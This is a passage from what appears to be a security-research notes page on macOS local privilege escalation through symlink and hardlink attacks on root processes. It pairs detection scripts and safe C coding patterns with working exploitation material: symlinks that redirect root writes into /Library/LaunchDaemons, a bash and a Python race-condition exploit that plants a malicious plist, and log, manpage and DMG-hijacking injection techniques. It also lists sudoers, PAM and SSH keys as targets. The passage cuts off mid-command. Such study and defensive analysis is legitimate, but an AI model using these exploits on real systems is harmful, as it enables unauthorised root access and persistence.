drwx------+ 31 user staff 992 Oct 21 02:23 Application Support
0: group:everyone deny delete
</code></pre></div></div>

<h2 id="finding-vulnerabilities">Finding Vulnerabilities</h2>

<h3 id="static-analysis">Static Analysis</h3>

<p>Search filesystem for permission misconfigurations without running processes.</p>

<p><strong>Target Scenarios:</strong></p>

<ol>
  <li><strong>File owner is root, directory owner is different</strong>
    <ul>
      <li>If we have write access to directory, can replace file with symlink/hardlink</li>
    </ul>
  </li>
  <li><strong>File owner is root, user’s group has write access to directory</strong>
    <ul>
      <li>Similar to scenario 1, exploit via group membership</li>
    </ul>
  </li>
</ol>

<p><strong>Python Script for Static Analysis:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span><span class="p">,</span> <span class="n">stat</span>
<span class="kn">import</span> <span class="nn">socket</span>

<span class="n">project_name</span> <span class="o">=</span> <span class="s">'scan_results'</span>
<span class="n">to_check</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">]</span>
<span class="n">admin_groups</span> <span class="o">=</span> <span class="p">[</span><span class="mi">20</span><span class="p">,</span> <span class="mi">80</span><span class="p">,</span> <span class="mi">501</span><span class="p">,</span> <span class="mi">12</span><span class="p">,</span> <span class="mi">61</span><span class="p">,</span> <span class="mi">79</span><span class="p">,</span> <span class="mi">81</span><span class="p">,</span> <span class="mi">98</span><span class="p">,</span> <span class="mi">701</span><span class="p">,</span> <span class="mi">702</span><span class="p">,</span> <span class="mi">703</span><span class="p">,</span> <span class="mi">33</span><span class="p">,</span> <span class="mi">100</span><span class="p">,</span> <span class="mi">204</span><span class="p">,</span> <span class="mi">250</span><span class="p">,</span> <span class="mi">395</span><span class="p">,</span> <span class="mi">398</span><span class="p">,</span> <span class="mi">399</span><span class="p">]</span>

<span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues1</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">project_name</span> <span class="o">+</span> <span class="s">'_'</span> <span class="o">+</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span> <span class="o">+</span> <span class="s">'_issues1.txt'</span><span class="p">,</span><span class="s">'w'</span><span class="p">)</span>
<span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">project_name</span> <span class="o">+</span> <span class="s">'_'</span> <span class="o">+</span> <span class="n">socket</span><span class="p">.</span><span class="n">gethostname</span><span class="p">()</span> <span class="o">+</span> <span class="s">'_issues2.txt'</span><span class="p">,</span><span class="s">'w'</span><span class="p">)</span>

<span class="k">for</span> <span class="n">root</span><span class="p">,</span> <span class="n">dirs</span><span class="p">,</span> <span class="n">files</span> <span class="ow">in</span> <span class="n">os</span><span class="p">.</span><span class="n">walk</span><span class="p">(</span><span class="s">"/"</span><span class="p">,</span> <span class="n">topdown</span> <span class="o">=</span> <span class="bp">True</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
        <span class="n">full_path</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">join</span><span class="p">(</span><span class="n">root</span><span class="p">,</span> <span class="n">f</span><span class="p">)</span>
        <span class="n">directory</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)</span>
        <span class="k">try</span><span class="p">:</span>
            <span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
                <span class="c1"># Scenario 1: File owner is root, directory owner is not
</span>                <span class="k">if</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">full_path</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">and</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">:</span>
                    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, directory owner is not root, it's: %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)).</span><span class="n">st_uid</span><span class="p">))</span>
                    <span class="n">issues1</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, directory owner is not root, it's: %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">dirname</span><span class="p">(</span><span class="n">full_path</span><span class="p">)).</span><span class="n">st_uid</span><span class="p">))</span>

            <span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
                <span class="c1"># Scenario 2: File owner is root, group has write access
</span>                <span class="k">if</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">full_path</span><span class="p">).</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span> <span class="ow">in</span> <span class="n">admin_groups</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_mode</span> <span class="o">&amp;</span> <span class="n">stat</span><span class="p">.</span><span class="n">S_IWGRP</span><span class="p">):</span>
                    <span class="k">print</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, group has write access to directory, it's: %s"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span><span class="p">))</span>
                    <span class="n">issues2</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"[+] Potential issue found, file: %s, group has write access to directory, it's: %s</span><span class="se">\n</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">full_path</span><span class="p">,</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">directory</span><span class="p">).</span><span class="n">st_gid</span><span class="p">))</span>
        <span class="k">except</span><span class="p">:</span>
            <span class="k">continue</span>

<span class="k">if</span> <span class="mi">1</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues1</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="k">if</span> <span class="mi">2</span> <span class="ow">in</span> <span class="n">to_check</span><span class="p">:</span>
    <span class="n">issues2</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>

<h3 id="dynamic-analysis">Dynamic Analysis</h3>

<p>Monitor file operations in real-time to catch temporary vulnerabilities.</p>

<p><strong>Tools:</strong></p>
<ul>
  <li><strong>FileMonitor</strong> by Patrick Wardle (Endpoint Security framework)</li>
  <li><strong>fs_usage</strong> (built-in)</li>
</ul>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Run FileMonitor with pretty output</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-pretty</span>

<span class="c"># Example output shows:</span>
<span class="c"># - Process information</span>
<span class="c"># - User ID</span>
<span class="c"># - File paths</span>
<span class="c"># - Timestamps</span>
<span class="c"># - Code signature details</span>
</code></pre></div></div>

<p><strong>Advantages:</strong></p>
<ul>
  <li>Catches temporary file operations</li>
  <li>Detects files with changing ownership</li>
  <li>Real-time monitoring</li>
</ul>

<hr />

<h2 id="exploitable-conditions">Exploitable Conditions</h2>

<h3 id="general-attack-strategy">General Attack Strategy</h3>

<ol>
  <li>Identify root process writing to user-writable directory</li>
  <li>Delete target file</li>
  <li>Replace with symlink/hardlink pointing to protected location</li>
  <li>Trigger file operation</li>
  <li>Modify protected target file/directory</li>
</ol>

<h3 id="common-issues">Common Issues</h3>

<table>
  <thead>
    <tr>
      <th>Issue</th>
      <th>Exploitable?</th>
      <th>Notes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Process sandboxed</td>
      <td>❌</td>
      <td>Cannot write to interesting locations</td>
    </tr>
    <tr>
      <td>Process doesn’t follow links</td>
      <td>❌</td>
      <td>Overwrites link with new file</td>
    </tr>
    <tr>
      <td>File created as root, can’t modify</td>
      <td>⚠️</td>
      <td>May still exploit if we control write content</td>
    </tr>
  </tbody>
</table>

<h3 id="symlink-vs-hardlink">Symlink vs Hardlink</h3>

<p><strong>Symlinks:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> /target/path /link/location
</code></pre></div></div>
<ul>
  <li>Pointer to another file path</li>
  <li>Can point to directories</li>
  <li>May not be followed by all operations</li>
</ul>

<p><strong>Hardlinks:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> /existing/file /new/link
</code></pre></div></div>
<ul>
  <li>Direct reference to file inode</li>
  <li>Cannot link directories</li>
  <li>Both paths reference same file</li>
  <li>Works with empty files for some exploits</li>
</ul>

<hr />

<h2 id="links-attacks">Links Attacks</h2>

<h3 id="vulnerability-conditions-table">Vulnerability Conditions Table</h3>

<table>
  <thead>
    <tr>
      <th>Condition</th>
      <th>Symlink</th>
      <th>Hardlink</th>
      <th>Race Required</th>
      <th>Exploitability</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Root process writes to user-owned directory</td>
      <td>✅</td>
      <td>✅</td>
      <td>Medium</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Root process writes to <code class="language-plaintext highlighter-rouge">/tmp/</code> with predictable name</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low-Medium</td>
      <td>Very High</td>
    </tr>
    <tr>
      <td>Group-writable directory with root-owned files</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Installer writes temp files to <code class="language-plaintext highlighter-rouge">/tmp/</code></td>
      <td>✅</td>
      <td>✅</td>
      <td>High</td>
      <td>Very High</td>
    </tr>
    <tr>
      <td>Periodic scripts process user-controlled content</td>
      <td>✅</td>
      <td>❌</td>
      <td>None</td>
      <td>Critical</td>
    </tr>
    <tr>
      <td>Log files in user-writable directories</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>Medium-High</td>
    </tr>
    <tr>
      <td>Directory writable by admin group</td>
      <td>✅</td>
      <td>✅</td>
      <td>Low</td>
      <td>High (admin→root)</td>
    </tr>
    <tr>
      <td>Process follows symlinks without validation</td>
      <td>✅</td>
      <td>N/A</td>
      <td>None</td>
      <td>High</td>
    </tr>
    <tr>
      <td>Process creates files then chmod/chown</td>
      <td>✅</td>
      <td>✅</td>
      <td>Very High</td>
      <td>Medium</td>
    </tr>
  </tbody>
</table>

<h3 id="detection-methods">Detection Methods</h3>

<h4 id="1-static-analysis-detection">1. Static Analysis Detection</h4>

<p><strong>Objective:</strong> Find permission misconfigurations at rest</p>

<p><strong>Method 1: Root-owned files in non-root directories</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> f <span class="nt">-user</span> root 2&gt;/dev/null | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
    </span><span class="nb">dir</span><span class="o">=</span><span class="si">$(</span><span class="nb">dirname</span> <span class="s2">"</span><span class="nv">$file</span><span class="s2">"</span><span class="si">)</span>
    <span class="nv">dir_owner</span><span class="o">=</span><span class="si">$(</span><span class="nb">stat</span> <span class="nt">-f</span> <span class="s2">"%u"</span> <span class="s2">"</span><span class="nv">$dir</span><span class="s2">"</span><span class="si">)</span>
    <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$dir_owner</span><span class="s2">"</span> <span class="o">!=</span> <span class="s2">"0"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
        </span><span class="nb">echo</span> <span class="s2">"Potential vuln: </span><span class="nv">$file</span><span class="s2"> (dir owner: </span><span class="nv">$dir_owner</span><span class="s2">)"</span>
    <span class="k">fi
done</span>
</code></pre></div></div>

<p><strong>Method 2: Group-writable directories with root files</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>find / <span class="nt">-type</span> d <span class="nt">-perm</span> <span class="nt">-g</span>+w 2&gt;/dev/null | <span class="k">while </span><span class="nb">read dir</span><span class="p">;</span> <span class="k">do
    </span>find <span class="s2">"</span><span class="nv">$dir</span><span class="s2">"</span> <span class="nt">-maxdepth</span> 1 <span class="nt">-type</span> f <span class="nt">-user</span> root 2&gt;/dev/null | <span class="k">while </span><span class="nb">read </span>file<span class="p">;</span> <span class="k">do
        </span><span class="nb">echo</span> <span class="s2">"Potential vuln: </span><span class="nv">$file</span><span class="s2"> in group-writable </span><span class="nv">$dir</span><span class="s2">"</span>
    <span class="k">done
done</span>
</code></pre></div></div>

<p><strong>Method 3: Predictable temp file locations</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Search for hardcoded temp paths in binaries</span>
strings /path/to/binary | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"^/tmp/|^/var/tmp/"</span>

<span class="c"># Search in scripts</span>
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"/tmp/"</span> /usr/local/bin/ 2&gt;/dev/null
<span class="nb">grep</span> <span class="nt">-r</span> <span class="s2">"/tmp/"</span> /Library/Scripts/ 2&gt;/dev/null
</code></pre></div></div>

<p><strong>Method 4: Check installer packages</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Extract installer scripts</span>
pkgutil <span class="nt">--expand</span> package.pkg extracted/
<span class="nb">cat </span>extracted/<span class="k">*</span>/Scripts/postinstall

<span class="c"># Look for:</span>
<span class="c"># - cp commands to protected locations</span>
<span class="c"># - Temp file usage</span>
<span class="c"># - Missing ownership checks</span>
</code></pre></div></div>

<h4 id="2-dynamic-analysis-detection">2. Dynamic Analysis Detection</h4>

<p><strong>Method 1: FileMonitor (Real-time)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor all file operations</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-pretty</span>

<span class="c"># Filter for root processes writing to /tmp</span>
<span class="nb">sudo</span> /Applications/FileMonitor.app/Contents/MacOS/FileMonitor <span class="nt">-filter</span> <span class="s1">'{"user": 0, "path": "/tmp/"}'</span>
</code></pre></div></div>

<p><strong>Method 2: fs_usage (Built-in)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Monitor file system calls by specific process</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep</span> <span class="nt">-E</span> <span class="s2">"open|write|create"</span>

<span class="c"># Monitor all root operations</span>
<span class="nb">sudo </span>fs_usage <span class="nt">-w</span> <span class="nt">-f</span> filesys | <span class="nb">grep</span> <span class="s2">"root"</span>
</code></pre></div></div>

<p><strong>Method 3: opensnoop (DTrace)</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Trace file opens by all processes</span>
<span class="nb">sudo </span>opensnoop <span class="nt">-v</span>

<span class="c"># Trace specific process</span>
<span class="nb">sudo </span>opensnoop <span class="nt">-n</span> processname
</code></pre></div></div>

<p><strong>Method 4: Custom dtrace script</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># monitor_writes.d</span>
<span class="c">#!/usr/sbin/dtrace -s</span>

syscall::write<span class="k">*</span>:entry
/uid <span class="o">==</span> 0/
<span class="o">{</span>
    <span class="nb">printf</span><span class="o">(</span><span class="s2">"Root write: %s -&gt; %s</span><span class="se">\n</span><span class="s2">"</span>, execname, copyinstr<span class="o">(</span>arg0<span class="o">))</span><span class="p">;</span>
<span class="o">}</span>
</code></pre></div></div>

<h4 id="3-code-review-detection">3. Code Review Detection</h4>

<p><strong>Vulnerable Patterns:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// VULNERABLE: Predictable path</span>
<span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="s">"/tmp/myapp.log"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">);</span>

<span class="c1">// VULNERABLE: TOCTOU (Time Of Check Time Of Use)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">access</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">W_OK</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// Race window here!</span>
    <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">file</span><span class="p">,</span> <span class="n">O_WRONLY</span><span class="p">);</span>
<span class="p">}</span>

<span class="c1">// VULNERABLE: Follows symlinks</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>

<span class="c1">// VULNERABLE: Changes permissions after creation</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>
<span class="n">chmod</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>
<span class="n">chown</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>  <span class="c1">// Race window!</span>
</code></pre></div></div>

<p><strong>Safe Patterns:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SAFE: Use mkstemp</span>
<span class="kt">char</span> <span class="n">template</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"/tmp/myapp.XXXXXX"</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">fd</span> <span class="o">=</span> <span class="n">mkstemp</span><span class="p">(</span><span class="n">template</span><span class="p">);</span>

<span class="c1">// SAFE: Don't follow symlinks</span>
<span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">O_WRONLY</span> <span class="o">|</span> <span class="n">O_CREAT</span> <span class="o">|</span> <span class="n">O_EXCL</span> <span class="o">|</span> <span class="n">O_NOFOLLOW</span><span class="p">,</span> <span class="mo">0644</span><span class="p">);</span>

<span class="c1">// SAFE: Atomic check</span>
<span class="k">struct</span> <span class="n">stat</span> <span class="n">sb</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">lstat</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">sb</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">S_ISLNK</span><span class="p">(</span><span class="n">sb</span><span class="p">.</span><span class="n">st_mode</span><span class="p">))</span> <span class="p">{</span>
    <span class="c1">// It's a symlink, abort</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="exploitation-methods">Exploitation Methods</h3>

<h4 id="method-1-simple-symlink-attack">Method 1: Simple Symlink Attack</h4>

<p><strong>Scenario:</strong> Root process writes to predictable path in <code class="language-plaintext highlighter-rouge">/tmp/</code></p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Create symlink before process runs</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/predictable.log

<span class="c"># 2. Trigger process (installer, scheduled task, etc.)</span>
<span class="c"># Process writes to /tmp/predictable.log</span>
<span class="c"># Actually writes to /Library/LaunchDaemons/evil.plist</span>

<span class="c"># 3. Content must be valid for target (PLIST, script, etc.)</span>
</code></pre></div></div>

<p><strong>Example Target Locations:</strong></p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons/*.plist</code> - Root persistence</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/sudoers.d/</code> - Password bypass</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/periodic/daily/</code> - Scheduled execution</li>
  <li><code class="language-plaintext highlighter-rouge">/etc/pam.d/</code> - Authentication bypass</li>
  <li><code class="language-plaintext highlighter-rouge">~/.ssh/authorized_keys</code> - SSH access</li>
</ul>

<h4 id="method-2-hardlink-attack">Method 2: Hardlink Attack</h4>

<p><strong>Scenario:</strong> Process creates empty file then writes to it</p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Process creates empty file</span>
<span class="c"># touch /tmp/logfile</span>

<span class="c"># 2. We create hardlink to existing file</span>
<span class="nb">ln</span> /etc/some_config /tmp/logfile

<span class="c"># 3. Process writes to /tmp/logfile</span>
<span class="c"># Both paths now contain the same content</span>

<span class="c"># Advantage: Works even if process doesn't follow symlinks</span>
</code></pre></div></div>

<p><strong>Use Cases:</strong></p>
<ul>
  <li>Overwrite configuration files</li>
  <li>Inject into log files that get processed</li>
  <li>Modify files we can’t normally write</li>
</ul>

<h4 id="method-3-race-condition-attack">Method 3: Race Condition Attack</h4>

<p><strong>Scenario:</strong> Installer creates directory structure in <code class="language-plaintext highlighter-rouge">/tmp/</code></p>

<p><strong>Attack Flow:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Continuous loop - create structure before installer</span>
<span class="k">while </span><span class="nb">true</span><span class="p">;</span> <span class="k">do
    </span><span class="nb">mkdir</span> <span class="nt">-p</span> /tmp/installer/config/

    <span class="c"># Check if installer created root-owned file</span>
    <span class="k">if</span> <span class="o">[</span> <span class="nt">-f</span> /tmp/installer/config/app.conf <span class="o">]</span> <span class="o">&amp;&amp;</span> <span class="o">[</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">stat</span> <span class="nt">-f</span> %u /tmp/installer/config/app.conf<span class="si">)</span><span class="s2">"</span> <span class="o">=</span> <span class="s2">"0"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
        <span class="c"># Installer won the race, delete and replace</span>
        <span class="nb">rm</span> /tmp/installer/config/app.conf
        <span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/installer/config/app.conf
    <span class="k">fi
done</span>
</code></pre></div></div>

<p><strong>Python Race Exploit Template:</strong></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">shutil</span>

<span class="n">TARGET_DIR</span> <span class="o">=</span> <span class="s">"/tmp/vulnerable_installer/"</span>
<span class="n">TARGET_FILE</span> <span class="o">=</span> <span class="n">TARGET_DIR</span> <span class="o">+</span> <span class="s">"config.plist"</span>
<span class="n">MALICIOUS_FILE</span> <span class="o">=</span> <span class="s">"/tmp/evil.plist"</span>
<span class="n">FINAL_DESTINATION</span> <span class="o">=</span> <span class="s">"/Library/LaunchDaemons/evil.plist"</span>

<span class="k">while</span> <span class="bp">True</span><span class="p">:</span>
    <span class="k">try</span><span class="p">:</span>
        <span class="c1"># Create directory structure
</span>        <span class="n">os</span><span class="p">.</span><span class="n">makedirs</span><span class="p">(</span><span class="n">TARGET_DIR</span><span class="p">,</span> <span class="n">exist_ok</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

        <span class="c1"># Check if installer created the file as root
</span>        <span class="k">if</span> <span class="n">os</span><span class="p">.</span><span class="n">path</span><span class="p">.</span><span class="n">exists</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">):</span>
            <span class="n">stat_info</span> <span class="o">=</span> <span class="n">os</span><span class="p">.</span><span class="n">stat</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">)</span>

            <span class="k">if</span> <span class="n">stat_info</span><span class="p">.</span><span class="n">st_uid</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>  <span class="c1"># Root owned
</span>                <span class="c1"># Delete root file (we own parent dir)
</span>                <span class="n">os</span><span class="p">.</span><span class="n">remove</span><span class="p">(</span><span class="n">TARGET_FILE</span><span class="p">)</span>

                <span class="c1"># Replace with our file
</span>                <span class="n">shutil</span><span class="p">.</span><span class="n">copy2</span><span class="p">(</span><span class="n">MALICIOUS_FILE</span><span class="p">,</span> <span class="n">TARGET_FILE</span><span class="p">)</span>

                <span class="k">print</span><span class="p">(</span><span class="s">"[+] Race won! Malicious file planted."</span><span class="p">)</span>
                <span class="k">break</span>

    <span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
        <span class="k">continue</span>

    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.01</span><span class="p">)</span>  <span class="c1"># Small delay
</span></code></pre></div></div>

<h4 id="method-4-content-injection-attack">Method 4: Content Injection Attack</h4>

<p><strong>Scenario:</strong> We control content written to protected location</p>

<p><strong>Technique A: Log Injection → PLIST</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Target: Log file becomes LaunchDaemon PLIST</span>

<span class="c"># 1. Create symlink</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /tmp/app.log

<span class="c"># 2. Generate log entries that form valid XML</span>
<span class="c"># Application logs: "User logged in: XML_CONTENT_HERE"</span>

<span class="c"># 3. Result: Valid PLIST at protected location</span>
</code></pre></div></div>

<p><strong>Technique B: Manpage Injection</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Target: whatis database becomes LaunchDaemon PLIST</span>

<span class="c"># 1. Create specially-named manpage</span>
<span class="nb">mv </span>original.1 <span class="s1">'&lt;!--original.1'</span>

<span class="c"># 2. Edit NAME section with XML</span>
.SH NAME
original - <span class="nt">--</span><span class="o">&gt;</span>&lt;?xml <span class="nv">version</span><span class="o">=</span><span class="s2">"1.0"</span>?&gt;
&lt;<span class="o">!</span>DOCTYPE plist...&gt;&lt;plist&gt;&lt;dict&gt;...

<span class="c"># 3. Create symlink</span>
<span class="nb">ln</span> <span class="nt">-s</span> /Library/LaunchDaemons/evil.plist /usr/local/share/man/whatis.tmp

<span class="c"># 4. Trigger makewhatis</span>
<span class="nb">sudo </span>periodic weekly

<span class="c"># Result: Valid PLIST created</span>
</code></pre></div></div>

<p><strong>Technique C: DMG Mount Hijacking</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Installer expects to mount DMG at specific location</span>

<span class="c"># 1. Create malicious DMG with same volume name</span>
hdiutil create evil.dmg <span class="nt">-volname</span> <span class="s2">"InstallerData"</span> <span class="nt">-fs</span> APFS

<span class="c"># 2. Mount it first</span>
hdiutil attach evil.dmg

<span class="c"># 3. Installer looks for /Volumes/InstallerData/config</span>
<span class="c"># Finds our malicious config instead</span>

<span class="c"># 4. Installer copies our file to protected location</span>
</code></pre></div></div>

<h4 id="method-5-directory-ownership-attack">Method 5: Directory Ownership Attack</h4>

<p><strong>Scenario:</strong> Group-writable directory with admin privileges</p>

<p><strong>Steps:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># 1. Identify group-writable directory with root files</span>
<span class="nb">ls</span> <span class="nt">-l</span> /private/var/log/ | <span class="nb">grep </span>Diagnostic
drwxrwx--- 7 root admin 224 DiagnosticMessages

<span class="c"># 2. Replace file with hardlink to target</span>
<span class="nb">cd</span> /private/var/log/DiagnosticMessages
<span class="nb">rm </span>today.asl
<span class="nb">ln</span> /Library/target.conf today.asl

<span class="c"># 3. When process writes to today.asl, writes to target.conf</span>
</code></pre></div></div>

<h4 id="method-6-atomic-operation-bypass">Method 6: Atomic Operation Bypass</h4>

<p><strong>Scenario:</strong> Process uses safe functions but predictable names</p>

<p><strong>Attack:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Process uses mkstemp() but predictable prefix</span>
<span class="c"># Creates: /tmp/app.XXXXXX where X is random</span>

<span class="c"># 1. Pre-create all possible combinations (if small space)</span>
<span class="k">for </span>i <span class="k">in</span> <span class="o">{</span>000000..999999<span class="o">}</span><span class="p">;</span> <span class="k">do
